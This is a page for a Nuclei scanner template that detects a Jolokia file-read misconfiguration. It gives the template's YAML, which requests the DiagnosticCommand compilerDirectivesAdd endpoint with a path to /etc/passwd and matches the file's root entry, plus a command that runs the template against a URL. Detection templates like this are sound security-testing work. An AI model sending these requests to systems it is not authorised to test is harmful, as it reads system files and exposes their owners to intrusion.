Skip to content

Jolokia - CompilerDirectivesAdd File Read

ID: jolokia-file-read-compilerdirectivesadd

Severity: high

Author: dhiyaneshDk

Tags: jolokia,springboot,tomcat,lfi,misconfig

Jolokia is vulnerable to local file inclusion via compilerDirectivesAdd.

id: jolokia-file-read-compilerdirectivesadd
info:
name: Jolokia - CompilerDirectivesAdd File Read
author: dhiyaneshDk
severity: high
description: Jolokia is vulnerable to local file inclusion via compilerDirectivesAdd.
reference:
- https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/
- https://github.com/laluka/jolokia-exploitation-toolkit
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
max-request: 2
tags: jolokia,springboot,tomcat,lfi,misconfig
http:
- method: GET
path:
- "{{BaseURL}}/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
- "{{BaseURL}}/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- "compilerDirectivesAdd"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100fefa70dba3bcca04e0fa54ecd19408280800a10a93f1928c451143173b4b1388022100e19ef910ae2fe13df21cea61887da46d2d5bf2c91fb2f601ae93e4d2ba64fcae:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/jolokia/jolokia-file-read-compilerdirectivesadd.yaml"

View on Github